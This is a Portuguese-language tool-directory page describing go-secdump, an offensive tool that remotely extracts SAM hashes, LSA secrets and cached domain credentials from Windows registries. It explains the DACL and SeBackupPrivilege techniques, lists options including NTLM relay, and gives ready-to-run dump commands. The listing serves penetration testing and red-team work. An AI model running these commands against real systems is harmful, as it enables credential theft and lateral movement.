Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
go-secdump — Ferramenta para despejar remotamente segredos do registro do Windows. | Kitploit
Ferramentas/GitHubGitHub/jfjallid/go-secdump
Quebra de SenhasFerramentas de Criptografia/DescriptografiaMovimento LateralPós-ExploraçãoTestes de PenetraçãoAutenticaçãoRed Teaming
GitHubjfjallid/go-secdump

go-secdump

Ferramenta para despejar remotamente segredos do registro do Windows.

Ver Repositório
5346057há 2 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

go-secdump

Descrição

O pacote go-secdump é uma ferramenta criada para extrair remotamente hashes do hive SAM do registro, bem como segredos LSA e hashes em cache do hive SECURITY sem a necessidade de um agente remoto e sem tocar no disco.

A ferramenta é construída sobre a biblioteca go-smb e a utiliza para se comunicar com o Registro Remoto do Windows para recuperar chaves de registro diretamente da memória.

Foi desenvolvida como uma experiência de aprendizado e como uma prova de conceito de que deve ser possível recuperar remotamente os hashes NT do hive SAM e os segredos LSA, bem como as credenciais em cache do domínio, sem precisar primeiro salvar os hives de registro em disco e depois analisá-los localmente.

O principal problema a ser superado era que os hives SAM e SECURITY são legíveis apenas por NT AUTHORITY\SYSTEM. No entanto, notei que os administradores do grupo local tinham permissão WriteDACL nos hives de registro e, portanto, podiam ser usados para conceder temporariamente acesso de leitura a si mesmos para recuperar os segredos e, em seguida, restaurar as permissões originais.

No entanto, uma abordagem melhor foi descoberta (fevereiro de 2025) por Julien Egloff da Synacktiv. A requisição BaseRegOpenKey usada para abrir handles para chaves de registro tem uma opção para afirmar o SeBackupPrivilege, o que nos permite abrir as chaves de registro sem primeiro alterar as DACLs. A ferramenta foi atualizada para preferir essa nova abordagem e só alterar as DACLs se for solicitado explicitamente.

Créditos

Grande parte do código neste projeto é inspirado/retirado do secdump do Impacket, mas convertido para acessar o registro remoto do Windows e acessar apenas as chaves de registro necessárias.

Algumas outras fontes que foram úteis para entender a estrutura do registro e os métodos de criptografia estão listadas abaixo:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

A ideia de usar SeBackupPrivilege veio da Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

Uso

Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

Alterando DACLs

Agora apenas como um recurso opcional habilitado com --modify-dacl, o go-secdump tentará automaticamente modificar e depois restaurar as DACLs das chaves de registro necessárias. No entanto, se algo der errado durante a parte de restauração, como uma desconexão de rede ou outra interrupção, o registro remoto ficará com as DACLs modificadas.

Usando o argumento --backup-dacl é possível armazenar uma cópia serializada das DACLs originais antes da modificação. Se ocorrer um problema de conectividade, as DACLs podem ser restauradas posteriormente do arquivo usando o argumento --restore-dacl.

Exemplos

Despejar todos os segredos do registro usando o truque SeBackupPrivilege

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Despejar apenas segredos SAM, LSA, cache DCC2 ou misc do registro

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc
Baixar ferramenta